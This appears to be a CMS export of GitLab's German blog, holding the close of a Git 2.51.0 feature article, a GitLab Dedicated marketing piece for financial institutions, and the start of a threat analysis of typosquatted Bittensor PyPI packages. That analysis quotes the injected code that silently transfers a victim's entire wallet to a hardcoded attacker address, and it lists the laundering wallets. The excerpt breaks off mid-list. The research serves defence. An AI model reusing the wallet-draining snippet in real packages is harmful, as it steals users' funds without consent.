\"reftable\" wird Standard in Git 3.0\n\nIm [Git 2.45.0](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/RelNotes/2.45.0.adoc?ref_type=heads)-Release wurde das \"reftable\"-Format als neues Backend zur Speicherung von Referenzen wie Branches oder Tags in Git eingeführt, das viele der Probleme des bestehenden \"files\"-Backends behebt. Lesen Sie unseren [Einsteiger-Leitfaden zur Funktionsweise von reftables](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/) für weitere Einblicke in das \"reftable\"-Backend.\n\nDas Git 2.51.0-Release markiert den Wechsel zur Verwendung des \"reftable\"-Formats als Standard in Git 3.0 für neu erstellte Repositories und verdrahtet die Änderung hinter einem Feature-Flag. Das \"reftable\"-Format bietet folgende Verbesserungen gegenüber dem traditionellen \"files\"-Backend:\n\n* Es ist unmöglich, zwei Referenzen zu speichern, die sich nur in der Groß-/Kleinschreibung unterscheiden, auf case-insensitiven Dateisystemen mit dem \"files\"-Format. Dieses Problem ist häufig auf Windows- und macOS-Plattformen. Da das \"reftable\"-Backend keine Dateisystem-Pfade zur Kodierung von Referenznamen verwendet, verschwindet dieses Problem.\n\n* Ebenso normalisiert macOS Pfadnamen, die Unicode-Zeichen enthalten, was zur Folge hat, dass Sie nicht zwei Namen mit Unicode-Zeichen speichern können, die unterschiedlich kodiert sind, mit dem \"files\"-Backend. Auch dies ist kein Problem mit dem \"reftable\"-Backend.\n\n* Das Löschen von Referenzen mit dem \"files\"-Backend erfordert, dass Git die komplette \"packed-refs\"-Datei neu schreibt. In großen Repositories mit vielen Referenzen kann diese Datei leicht dutzende Megabytes groß sein; in extremen Fällen kann sie Gigabytes umfassen. Das \"reftable\"-Backend verwendet Tombstone-Marker für gelöschte Referenzen und muss daher nicht alle seine Daten neu schreiben.\n\n* Repository-Hauskeeping mit dem \"files\"-Backend führt normalerweise All-into-One-Repacks von Referenzen durch. Dies kann sehr teuer sein, und folglich ist Housekeeping ein Kompromiss zwischen der Anzahl loser Referenzen, die sich ansammeln und Operationen verlangsamen, die Referenzen lesen, und der Komprimierung dieser losen Referenzen in die \"packed-refs\"-Datei. Das \"reftable\"-Backend verwendet geometrische Komprimierung nach jedem Schreibvorgang, was Kosten amortisiert und sicherstellt, dass das Backend immer in einem gut gewarteten Zustand ist.\n\n* Operationen, die mehrere Referenzen auf einmal schreiben, sind nicht atomisch mit dem \"files\"-Backend. Folglich kann Git Zwischenzustände sehen, wenn es Referenzen liest, während eine Referenz-Transaktion gerade auf die Festplatte committed wird.\n\n* Das Schreiben vieler Referenzen auf einmal ist langsam mit dem \"files\"-Backend, weil jede Referenz als separate Datei erstellt wird. Das \"reftable\"-Backend übertrifft das \"files\"-Backend um mehrere Größenordnungen.\n\n* Das \"reftable\"-Backend verwendet ein Binärformat mit Präfix-Komprimierung für Referenznamen. Als Resultat nutzt das Format weniger Platz im Vergleich zur \"packed-refs\"-Datei.\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.\n\n### SHA-256 wird Standard in Git 3.0\n\nDas Git-Versionskontrollsystem speichert Objekte in einem inhaltsadressierbaren Dateisystem. Das bedeutet, es verwendet den Hash eines Objekts zur Adressierung von Inhalten wie Dateien, Verzeichnissen und Revisionen, anders als traditionelle Dateisysteme, die sequenzielle Nummern verwenden. Die Verwendung einer Hash-Funktion hat folgende Vorteile:\n\n* Einfache Integritätsprüfungen, da ein einzelner Bit-Flip die Hash-Ausgabe komplett verändern würde.\n* Schnelle Objektsuche, da Objekte nach ihrem Hash indexiert werden können.\n* Objektnamen können signiert werden und Drittparteien können dem Hash vertrauen, um das signierte Objekt und alle Objekte, auf die es verweist, zu adressieren.\n* Kommunikation über Git-Protokoll und Out-of-Band-Kommunikationsmethoden haben einen kurzen zuverlässigen String, der zur zuverlässigen Adressierung gespeicherter Inhalte verwendet werden kann.\n\nSeit seiner Entstehung hat Git den SHA-1-Hashing-Algorithmus verwendet. Sicherheitsforscher haben jedoch einige Schwachstellen in SHA-1 entdeckt, speziell den [SHAttered-Angriff](https://shattered.io), der eine praktische SHA-1-Hash-Kollision zeigt. Wir sind seit Git 2.13.0 standardmäßig zu einer gehärteten SHA-1-Implementierung übergegangen. SHA-1 ist jedoch immer noch ein schwacher Hashing-Algorithmus und es ist nur eine Frage der Zeit, bis zusätzliche Angriffe seine Sicherheit weiter reduzieren werden.\n\nSHA-256 wurde Ende 2018 als Nachfolger von SHA-1 identifiziert. Git 2.51.0 markiert es als Standard-Hash-Algorithmus für Git 3.0.\n\nDieses Projekt wurde von [brian m. carlson](https://github.com/bk2204) geleitet.\n\n### Entfernung von git-whatchanged(1)\n\nDer git-whatchanged(1)-Befehl zeigt Logs mit Unterschieden, die jeder Commit einführt. Obwohl dies nun von git log --raw abgelöst wurde, wurde der Befehl aus historischen Gründen beibehalten.\n\nGit 2.51.0 erfordert, dass Benutzer des Befehls explizit das --i-still-use-this-Flag verwenden, um alle Benutzer zu erfassen, die noch den veralteten Befehl verwenden, und markiert den Befehl auch für die Entfernung in Git 3.0.\n\nDieses Projekt wurde von [Junio C Hamano](https://simple.wikipedia.org/wiki/Junio_Hamano) geleitet.\n\n## git switch und git restore sind nicht mehr experimentell\n\nDer git-checkout(1)-Befehl kann für mehrere verschiedene Anwendungsfälle verwendet werden. Er kann zum Wechseln von Referenzen verwendet werden:\n\n```\n$ git status\nAuf Zweig master\nIhr Branch ist auf dem neuesten Stand mit 'origin/master'.\nNichts zu committen, Arbeitsverzeichnis unverändert\n\n$ git checkout next\nZu Branch 'next' gewechselt\nIhr Branch ist auf dem neuesten Stand mit 'origin/next'.\n```\n\nOder zur Wiederherstellung von Dateien:\n\n```\n$ echo \"additional line\" >> git.c\n\n$ git status\nAuf Zweig master\nIhr Branch ist auf dem neuesten Stand mit 'origin/master'.\n\nÄnderungen, die nicht zum Commit vorgemerkt sind:\n  (benutzen Sie \"git add \u003CDatei>...\", um die Änderungen zum Commit vorzumerken)\n  (benutzen Sie \"git restore \u003CDatei>...\", um die Änderungen im Arbeitsverzeichnis zu verwerfen)\n        geändert:       git.c\n\nkeine Änderungen zum Commit vorgemerkt (benutzen Sie \"git add\" und/oder \"git commit -a\")\n\n$ git checkout git.c\n1 Pfad von Index aktualisiert\n\n$ git status\nAuf Zweig master\nIhr Branch ist auf dem neuesten Stand mit 'origin/master'.\nNichts zu committen, Arbeitsverzeichnis unverändert\n```\n\nFür neue Git-Benutzer kann dies zu viel Verwirrung führen. In Git 2.33.0 wurden diese in zwei neue Befehle aufgeteilt: git-switch(1) und git-restore(1).\n\nDer git-switch(1)-Befehl ermöglicht es Benutzern, zu einem bestimmten Branch zu wechseln:\n\n```\n$ git status\nAuf Zweig master\nIhr Branch ist auf dem neuesten Stand mit 'origin/master'.\nNichts zu committen, Arbeitsverzeichnis unverändert\n\n$ git switch next\nZu Branch 'next' gewechselt\nIhr Branch ist auf dem neuesten Stand mit 'origin/next'.\n```\n\nUnd der git-restore(1)-Befehl ermöglicht es Benutzern, Working-Tree-Dateien wiederherzustellen:\n\n```\n$ echo \"additional line\" >> git.c\n\n$ git status\nAuf Zweig master\nIhr Branch ist auf dem neuesten Stand mit 'origin/master'.\n\nÄnderungen, die nicht zum Commit vorgemerkt sind:\n  (benutzen Sie \"git add \u003CDatei>...\", um die Änderungen zum Commit vorzumerken)\n  (benutzen Sie \"git restore \u003CDatei>...\", um die Änderungen im Arbeitsverzeichnis zu verwerfen)\n        geändert:       git.c\n\nkeine Änderungen zum Commit vorgemerkt (benutzen Sie \"git add\" und/oder \"git commit -a\")\n\n$ git restore git.c\n\n$ git status\nAuf Zweig master\nIhr Branch ist auf dem neuesten Stand mit 'origin/master'.\nNichts zu committen, Arbeitsverzeichnis unverändert\n```\n\nObwohl die beiden Befehle seit 2019 existieren, wurden sie als experimentell markiert. Der Effekt ist, dass das Git-Projekt keine Rückwärtskompatibilität für diese Befehle garantiert: das Verhalten kann sich jederzeit ändern. Obwohl die Absicht ursprünglich war, diese Befehle nach einigen Releases zu stabilisieren, ist das bis zu diesem Punkt nicht geschehen.\n\nDies hat zu mehreren Diskussionen auf der Git-Mailing-Liste geführt, wo Benutzer unsicher sind, ob sie diese neuen Befehle verwenden können oder ob sie eventuell wieder verschwinden. Da jedoch keine bedeutenden Änderungen vorgeschlagen wurden und einige Benutzer diese Befehle bereits verwenden, haben wir beschlossen, sie in Git 2.51 nicht mehr als experimentell zu deklarieren.\n\nDieses Projekt wurde von [Justin Tobler](https://gitlab.com/justintobler) geleitet.\n\n## git for-each-ref(1) erhält Paginierungs-Unterstützung\n\nDer git for-each-ref-Befehl wird verwendet, um alle im Repository vorhandenen Referenzen aufzulisten. Als Teil der Plumbing-Schicht von Git wird dieser Befehl häufig beispielsweise von Hosting-Forges verwendet, um Referenzen, die im Repository existieren, in ihrer UI aufzulisten. Aber während Repositories wachsen, wird es weniger realistisch, alle Referenzen auf einmal aufzulisten – schließlich können die größten Repositories Millionen davon enthalten! Stattdessen neigen Forges dazu, die Referenzen zu paginieren.\n\nDies zeigt eine wichtige Lücke auf: git-for-each-ref weiß nicht, Referenzen von vorherigen Seiten zu überspringen, die bereits gezeigt wurden. Folglich muss es möglicherweise eine große Anzahl uninteressanter Referenzen auflisten, bevor es endlich beginnt, die für die aktuelle Seite benötigten Referenzen zu liefern. Dies ist ineffizient und führt zu höherer als notwendiger Latenz oder sogar Timeouts.\n\nGit 2.51.0 unterstützt ein neues --start-after-Flag für git for-each-ref, das die Paginierung der Ausgabe ermöglicht. Dies kann auch mit dem --count-Flag kombiniert werden, um über einen Batch von Referenzen zu iterieren.\n\n```\n$ git for-each-ref --count=10\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-001\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-002\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-003\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-004\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-005\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-006\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-007\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-008\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-009\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-010\n\n$ git for-each-ref --count=10 --start-after=refs/heads/branch-010\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-011\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-012\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-013\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-014\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-015\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-016\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-017\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-018\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-019\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-020\n```\n\nDieses Projekt wurde von [Karthik Nayak](https://gitlab.com/knayakgl) geleitet.\n\n## Fazit\n\n**Diese Performance-Verbesserungen sind besonders relevant für deutsche Entwicklungsteams, die mit großen Repositories und intensiven CI/CD-Workflows arbeiten.** Die 22-fache Beschleunigung bei git-fetch kann erhebliche Zeitersparnisse in der täglichen Entwicklungsarbeit bedeuten.\n\nBereit, diese Verbeszerungen zu erleben? Aktualisieren Sie auf Git 2.51.0 und beginnen Sie, git switch und git restore in Ihrem täglichen Workflow zu verwenden.\n\nFür GitLab-Benutzer werden diese Performance-Verbesserungen automatisch Ihre Entwicklungserfahrung verbessern, sobald Ihre Git-Version aktualisiert wird.\n\nErfahren Sie mehr in den [offiziellen Git 2.51.0 Release Notes](https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u) und erkunden Sie unser [komplettes Archiv der Git-Entwicklungsberichterstattung](https://about.gitlab.com/blog/tags/git/).\n\n---\n\n*Für vollständige technische Details, Benchmarks und Implementierungshinweise lesen Sie den [englischen Originalartikel](https://about.gitlab.com/blog/what-s-new-in-git-2-51-0/).*\n","open-source",[849,913,270,850],{"featured":6,"template":682,"slug":1036},"what-s-new-in-git-2-51-0","content:de-de:blog:what-s-new-in-git-2-51-0.yml","What S New In Git 2 51 0","de-de/blog/what-s-new-in-git-2-51-0.yml","de-de/blog/what-s-new-in-git-2-51-0",{"_path":1042,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1043,"content":1048,"config":1059,"_id":1061,"_type":16,"title":1062,"_source":17,"_file":1063,"_stem":1064,"_extension":20},"/de-de/blog/why-financial-services-choose-single-tenant-saas",{"noIndex":6,"config":1044,"title":1045,"description":1046,"ogImage":1047},{"noIndex":6},"Warum Finanzinstitute auf Single-Tenant-SaaS setzen","So verhilft GitLab Dedicated Finanzorganisationen zu konformer DevSecOps, bei absoluter top Performance.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662023/Blog/Hero%20Images/display-dedicated-for-government-article-image-0679-1800x945-fy26.png",{"title":1049,"description":1050,"authors":1051,"heroImage":1047,"date":1054,"category":1055,"tags":1056,"body":1058},"Warum Finanzdienstleister auf Single-Tenant-SaaS setzen","So hilft GitLab Dedicated Finanzorganisationen dabei, konforme DevSecOps ohne Performance-Einbußen zu erreichen.",[1052,1053],"George Kichukov","Allie Holland","2025-08-14","customer-stories",[557,699,1057],"customers","Betrete die Filiale einer beliebigen Finanzinstitution und eins wird sofort deutlich. Vorbei an bewaffneten Sicherheitskräften, durch biometrische Scanner, hinter dicken Wänden und mehreren Sicherheitskontrollen findest du Entwickler(innen), welche die Algorithmen erstellen, die das globale Finanzwesen antreiben – auf gemeinsamer Infrastruktur mit Millionen Unbekannten.\n\nDie Software, welche die heutige Finanzwelt antreibt, ist hoch komplex. Sie umfasst Kreditrisikomodelle, die Milliarden an Vermögenswerten schützen, Zahlungsverarbeitungsalgorithmen, die Millionen von Transaktionen abwickeln, Customer-Intelligence-Plattformen, die die Geschäftsstrategie vorantreiben, und Regulierungssysteme, die operative Compliance sicherstellen – alles angetrieben von Quellcode, der sowohl operativer Kern als auch strategisches Asset ist.\n\n## Wenn geteilte Infrastruktur zum systemischen Risiko wird\n\nDer Aufstieg von Software-as-a-Service-Plattformen hat für Finanzinstitute eine unbequeme Realität geschaffen. Jeder geteilte Mandant wird zu einem nicht verwalteten Drittparteirisiko und verwandelt plattformweite Vorfälle in branchenweite Störungen. Dies ist genau die Art von Konzentrationsrisiko, welches zunehmend die Aufmerksamkeit der Regulierungsbehörden auf sich zieht.\n\nPatrick Opet, Chief Information Security Officer von JPMorgan Chase, richtete kürzlich in einem [offenen Brief](https://www.jpmorgan.com/technology/technology-blog/open-letter-to-our-suppliers) an Drittanbieter eine deutliche Warnung an die Branche. Er hob hervor, wie die SaaS-Adoption „eine erhebliche Verwundbarkeit schafft, die das globale Wirtschaftssystem schwächt\", indem sie „Konzentrationsrisiko in die globale kritische Infrastruktur einbettet\". Der Brief betont, dass sich „ein Angriff auf einen großen SaaS- oder PaaS-Anbieter sofort auf dessen Kunden auswirken kann\" und genau das systemische Risiko schafft, das Multi-Tenant-Cloud-Plattformen für Quellcode-Management, CI-Builds, CD-Deployments und Sicherheitsscans einführen.\n\nBedenke die regulatorische Komplexität, die dies schafft. In gemeinsamen Umgebungen wird deine Compliance-Position zur Geisel potenzieller Vorfälle, die andere Mandanten betreffen, sowie der Konzentrationsrisiken von Anbietern mit großer Angriffsfläche. Eine Fehlkonfiguration, die eine Organisation auf der Plattform betrifft, kann breitere Auswirkungen auf das gesamte Ökosystem auslösen.\n\nDatensouveränitäts-Herausforderungen verstärken dieses Risiko. Gemeinsame Plattformen verteilen Workloads über mehrere Regionen und Rechtsräume, oft ohne granulare Kontrolle darüber, wo dein Quellcode ausgeführt wird. Für Institutionen, die unter strengen regulatorischen Anforderungen arbeiten, kann diese geografische Verteilung Compliance-Lücken schaffen, die schwer zu beheben sind.\n\nDann gibt es den Verstärkungseffekt. Jeder geteilte Mandant wird effektiv zu einem indirekten Drittparteirisiko für deine Operationen. Ihre Schwachstellen vergrößern deine Angriffsfläche. Ihre Vorfälle können deine Verfügbarkeit beeinträchtigen. Ihre Kompromittierungen können deine Umgebung beeinflussen.\n\n## Speziell entwickelt für das, was am wichtigsten ist\n\nGitLab erkennt an, dass der Quellcode deiner Organisation dieselbe Sicherheitsstufe verdient wie deine sensibelsten Kundendaten. Anstatt dich zu zwingen, zwischen Cloud-Skalierungseffizienz und Enterprise-Grade-Sicherheit zu wählen, liefert GitLab beides durch [GitLab Dedicated](https://about.gitlab.com/dedicated/) – speziell entwickelte Infrastruktur, die vollständige Isolation aufrechterhält.\n\nDeine Entwicklungsworkflows, Quellcode-[Repositories](https://docs.gitlab.com/user/project/repository/) und [CI/CD-Pipelines](https://docs.gitlab.com/ci/pipelines/) laufen in einer Umgebung, die ausschließlich deiner Organisation gewidmet ist. Die [Hosted Runners](https://docs.gitlab.com/administration/dedicated/hosted_runners/) für GitLab Dedicated veranschaulichen diesen Ansatz. Diese Runner verbinden sich sicher über ausgehende Private Links mit deinem Rechenzentrum und ermöglichen den Zugriff auf deine privaten Dienste, ohne Datenverkehr dem öffentlichen Internet auszusetzen. Die [Auto-Scaling-Architektur](https://docs.gitlab.com/runner/runner_autoscale/) bietet die benötigte Performance, ohne Sicherheit oder Kontrolle zu gefährden.\n\n## Kontrolle neu gedacht\n\nFür Finanzinstitute ist die Minimierung geteilter Risiken nur ein Teil der Gleichung – wahre Resilienz erfordert präzise Kontrolle darüber, wie Systeme arbeiten, skalieren und regulatorische Frameworks einhalten. GitLab Dedicated ermöglicht umfassende Datensouveränität durch mehrere Ebenen der Kundenkontrolle. Sie behalten die vollständige Autorität über [Verschlüsselungsschlüssel](https://docs.gitlab.com/administration/dedicated/encryption/#encrypted-data-at-rest) durch [Bring-Your-Own-Key (BYOK)](https://docs.gitlab.com/administration/dedicated/encryption/#bring-your-own-key-byok)-Funktionen und stellen sicher, dass sensible Quellcodes und Konfigurationsdaten nur für deine Organisation zugänglich bleiben. Selbst GitLab kann ohne deine Schlüssel nicht auf deine verschlüsselten Daten zugreifen.\n\n[Datenresidenz](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) wird zur bewussten Entscheidung. Du wählst deine bevorzugte AWS-Region, um regulatorische Anforderungen und organisatorische Daten-Governance-Richtlinien zu erfüllen, und behältst die volle Kontrolle darüber, wo dein sensibler Quellcode und geistiges Eigentum gespeichert werden.\n\nDiese Kontrolle erstreckt sich auf [Compliance-Frameworks](https://docs.gitlab.com/user/compliance/compliance_frameworks/), die Finanzinstitute benötigen. Die Plattform bietet [umfassende Audit-Trails](https://docs.gitlab.com/user/compliance/audit_events/) und Protokollierungsfunktionen, die Compliance-Bemühungen für Finanzdienstleistungsvorschriften wie [Sarbanes-Oxley](https://about.gitlab.com/compliance/sox-compliance/) und [GLBA Safeguards Rule](https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act) unterstützen.\n\nWenn Compliance-Fragen auftreten, arbeitest du direkt mit GitLabs dediziertem Support-Team zusammen – erfahrene Fachleute, welche die regulatorischen Herausforderungen verstehen, denen Organisationen in hochregulierten Branchen gegenüberstehen.\n\n## Operative Exzellenz ohne operativen Overhead\n\nGitLab Dedicated gewährleistet [Hochverfügbarkeit](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) mit [integrierter Disaster Recovery](https://docs.gitlab.com/subscriptions/gitlab_dedicated/), sodass deine Entwicklungsoperationen auch bei Infrastrukturausfällen resilient bleiben. Die dedizierten Ressourcen skalieren mit den Bedürfnissen deiner Organisation ohne die Performance-Variabilität, die gemeinsame Umgebungen einführen.\n\nDer [Zero-Maintenance-Ansatz](https://docs.gitlab.com/subscriptions/gitlab_dedicated/maintenance/) für CI/CD-Infrastruktur eliminiert eine erhebliche operative Belastung. Deine Teams konzentrieren sich auf die Entwicklung, während GitLab die zugrunde liegende Infrastruktur, Auto-Scaling und Wartung verwaltet – einschließlich schneller Sicherheitspatches zum Schutz deines kritischen geistigen Eigentums vor aufkommenden Bedrohungen. Diese operative Effizienz geht nicht auf Kosten der Sicherheit: Die dedizierte Infrastruktur bietet Enterprise-Grade-Kontrollen und liefert gleichzeitig Cloud-Skalierungs-Performance.\n\n## Die Wettbewerbsrealität\n\nWährend einige Institutionen über Infrastrukturstrategien debattieren, ergreifen Branchenführer entscheidende Maßnahmen. [NatWest Group](https://about.gitlab.com/press/releases/2022-11-30-gitlab-dedicated-launches-to-meet-complex-compliance-requirements/), eine der größten Finanzinstitutionen Großbritanniens, wählte GitLab Dedicated zur Transformation ihrer Engineering-Fähigkeiten:\n\n> *\"Die NatWest Group setzt GitLab Dedicated ein, um unseren Ingenieuren die Nutzung einer gemeinsamen Cloud-Engineering-Plattform zu ermöglichen; neue Kundenergebnisse schnell, häufig und sicher mit hoher Qualität, automatisierten Tests, On-Demand-Infrastruktur und durchgängigem Deployment zu liefern. Dies wird die Zusammenarbeit erheblich verbessern, die Entwicklerproduktivität steigern und Kreativität durch eine 'Single-Pane-of-Glass' für die Softwareentwicklung freisetzen.\"*\n>\n> **Adam Leggett**, Platform Lead - Engineering Platforms, NatWest\n\n## Die strategische Entscheidung\n\nDie erfolgreichsten Finanzinstitute stehen vor einer einzigartigen Herausforderung: Sie haben am meisten durch geteilte Infrastrukturrisiken zu verlieren, aber auch die Ressourcen, um bessere Lösungen zu entwickeln.\n\n**Die Frage, die wirkliche Branchenführer von anderen unterscheidet:** Werden sie geteilte Infrastrukturrisiken als Preis der digitalen Transformation akzeptieren, oder in Infrastruktur investieren, welche den Quellcode mit der strategischen Bedeutung behandelt, die er verdient?\n\nDeine Algorithmen werden nicht geteilt. Deine Risikomodelle werden nicht geteilt. Deine Kundendaten werden nicht geteilt.\n\n**Warum wird deine Entwicklungsplattform geteilt?**\n\n*Bereit, deinen Quellcode wie das strategische Asset zu behandeln, das er ist? [Sprich mit uns](https://about.gitlab.com/solutions/finance/) darüber, wie dir GitLab Dedicated die Sicherheit, Compliance und Performance bietet, die Finanzinstitute fordern – ohne die Kompromisse geteilter Infrastruktur.*",{"featured":6,"template":682,"slug":1060},"why-financial-services-choose-single-tenant-saas","content:de-de:blog:why-financial-services-choose-single-tenant-saas.yml","Why Financial Services Choose Single Tenant Saas","de-de/blog/why-financial-services-choose-single-tenant-saas.yml","de-de/blog/why-financial-services-choose-single-tenant-saas",{"_path":1066,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1067,"content":1071,"config":1079,"_id":1081,"_type":16,"title":1082,"_source":17,"_file":1083,"_stem":1084,"_extension":20},"/de-de/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"config":1068,"title":1069,"description":1070},{"noIndex":6},"GitLab deckt Bittensor-Diebstahlkampagne über PyPI auf","Supply-Chain-Angriff zeigt Schwachstellen in der Paketvalidierung - Erkenntnisse für deutsche Unternehmen zur systematischen Absicherung von Software-Dependencies.",{"title":1069,"authors":1072,"description":1074,"date":1075,"body":1076,"category":765,"tags":1077,"heroImage":1078},[1073],"Michael Henriksen","Das Vulnerability Research Team von GitLab identifizierte eine Supply-Chain-Angriffskampagne, die Typosquatting-PyPI-Pakete verwendet, um Kryptowährung aus Bittensor-Wallets durch Manipulation von Staking-Operationen zu stehlen.","2025-08-06","Das Vulnerability Research Team von GitLab hat eine ausgeklügelte\n\n\nKryptowährungs-Diebstahlkampagne identifiziert, die das Bittensor-Ökosystem\n\n\ndurch Typosquatting-Python-Pakete auf PyPI ins Visier nimmt.\n\n\nDie Untersuchung begann, als das automatisierte Paket-Überwachungssystem von GitLab verdächtige Aktivitäten im Zusammenhang mit beliebten Bittensor-Paketen meldete. Es wurden mehrere Typosquatting-Varianten legitimer Bittensor-Pakete entdeckt, die jeweils darauf ausgelegt waren, Kryptowährung von ahnungslosen Entwickler(inne)n und Nutzer(inne)n zu stehlen.\n\n\n> **Geschäftsrelevanz:** Dieser koordinierte Angriff zeigt, wie Cyberkriminelle systematisch vertrauensvolle Software-Ökosysteme ausnutzen. **90% der Fortune-500-Unternehmen** nutzen Open-Source-Komponenten - jede davon ist ein potentieller Angriffspunkt für ähnliche Kampagnen.\n\n\n## Die Angriffsmethode im Detail\n\n\nDie identifizierten bösartigen Pakete wurden alle innerhalb eines 25-minütigen Zeitfensters am 6. August 2025 veröffentlicht:\n\n\n* `bitensor@9.9.4` (02:52 UTC)\n\n* `bittenso-cli@9.9.4` (02:59 UTC)\n\n* `qbittensor@9.9.4` (03:02 UTC)\n\n* `bitensor@9.9.5` (03:15 UTC)\n\n* `bittenso@9.9.5` (03:16 UTC)\n\n\nAlle Pakete wurden entwickelt, um die legitimen `bittensor`- und `bittensor-cli`-Pakete nachzuahmen, die Kernkomponenten des dezentralisierten KI-Netzwerks Bittensor sind.\n\n\n### Technische Analyse: So funktioniert der Diebstahl\n\n\nDie Analyse offenbarte einen sorgfältig ausgearbeiteten Angriffsvektor, bei dem die Angreifer legitime Staking-Funktionalitäten modifizierten, um Gelder zu stehlen. Die bösartigen Pakete enthalten eine manipulierte Version der `stake_extrinsic`-Funktion in `bittensor_cli/src/commands/stake/add.py`.\n\n\nWo Nutzer(innen) eine normale Staking-Operation erwarten, haben die Angreifer in Zeile 275 bösartigen Code eingefügt, der stillschweigend alle Gelder in ihre Wallet umleitet:\n\n\n```python\n\nresult = await transfer_extrinsic(\n  subtensor=subtensor,\n  wallet=wallet,\n  destination=\"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR\",\n  amount=amount,\n  transfer_all=True,\n  prompt=False\n)\n\n```\n\n\n**Diese bösartige Injektion untergräbt den Staking-Prozess vollständig:**\n\n\n* **Stille Ausführung:** Verwendet `prompt=False`, um die Benutzerbestätigung zu umgehen\n\n* **Vollständige Wallet-Entleerung:** Setzt `transfer_all=True`, um alle verfügbaren Gelder zu stehlen, nicht nur den Staking-Betrag\n\n* **Hartcodiertes Ziel:** Leitet alle Gelder an die Wallet-Adresse der Angreifer weiter\n\n* **Versteckt in Sichtweite:** Wird während einer scheinbar normalen Staking-Operation ausgeführt\n\n\nDas Perfide an diesem Angriff: Nutzer(innen) glauben, Token für Belohnungen zu staken, während die modifizierte Funktion stattdessen die gesamte Wallet entleert.\n\n\n### Besondere Relevanz für deutsche Unternehmen\n\n\nDiese Angriffsmethodik ist nicht auf Kryptowährungen beschränkt. Ähnliche Typosquatting-Strategien könnten manipulierte Pakete in geschäftskritische Systeme einschleusen - von Zahlungsverarbeitung bis hin zu Industriesteuerungen.\n\n\n### Warum die Staking-Funktionalität ins Visier genommen wird\n\n\nDie Angreifer scheinen gezielt Staking-Operationen aus kalkulierten Gründen ins Visier genommen zu haben. In Blockchain-Netzwerken wie Bittensor bedeutet **Staking**, dass Nutzer(innen) ihre Kryptowährungs-Token sperren, um Netzwerkoperationen zu unterstützen und im Gegenzug Belohnungen zu erhalten – ähnlich wie Zinsen auf eine Einlage.\n\n\nDies macht Staking zu einem idealen Angriffsvektor:\n\n\n1. **Hochwertige Ziele:** Nutzer(innen), die staken, besitzen typischerweise erhebliche Kryptowährungsbestände, was sie zu lukrativen Opfern macht.\n\n2. **Erforderlicher Wallet-Zugriff:** Staking-Operationen erfordern, dass Nutzer(innen) ihre Wallets entsperren und Authentifizierung bereitstellen – genau das, was der bösartige Code benötigt, um Gelder abzuziehen.\n\n3. **Erwartete Netzwerkaktivität:** Da Staking natürlich Blockchain-Transaktionen beinhaltet, erregt die zusätzliche bösartige Übertragung nicht sofort Verdacht.\n\n4. **Routineoperationen:** Erfahrene Nutzer(innen) staken regelmäßig, was Vertrautheit schafft, die zu Nachlässigkeit führt und die Aufmerksamkeit reduziert.\n\n5. **Verzögerte Entdeckung:** Nutzer(innen) könnten anfänglich annehmen, dass Saldoänderungen normale Staking-Gebühren oder temporäre Sperrungen sind, was die Entdeckung des Diebstahls verzögert.\n\n\nDurch das Verstecken von bösartigem Code in legitim aussehender Staking-Funktionalität nutzten die Angreifer sowohl die technischen Anforderungen als auch die Nutzerpsychologie von Routine-Blockchain-Operationen aus.\n\n\n## Der Geldspur folgen\n\n\nDas Vulnerability Research Team von GitLab verfolgte die Kryptowährungsflüsse, um das volle Ausmaß dieser Operation zu verstehen. Die primäre Ziel-Wallet `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` diente als zentraler Sammelpunkt, bevor die Gelder durch ein Netzwerk von Zwischen-Wallets verteilt wurden.\n\n\n### Das Geldwäsche-Netzwerk\n\n\nDie Analyse offenbarte ein mehrstufiges Geldwäschesystem:\n\n\n1. **Primäre Sammlung:** Gestohlene Gelder kommen zunächst bei `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` an\n\n2. **Verteilungsnetzwerk:** Gelder werden schnell zu Zwischen-Wallets verschoben, einschließlich:\n\n   * `5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1`\n   * `5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC`\n   * `5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6`\n   * `5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL`\n3. **Finale Konsolidierung:** Alle Pfade konvergieren schließlich bei 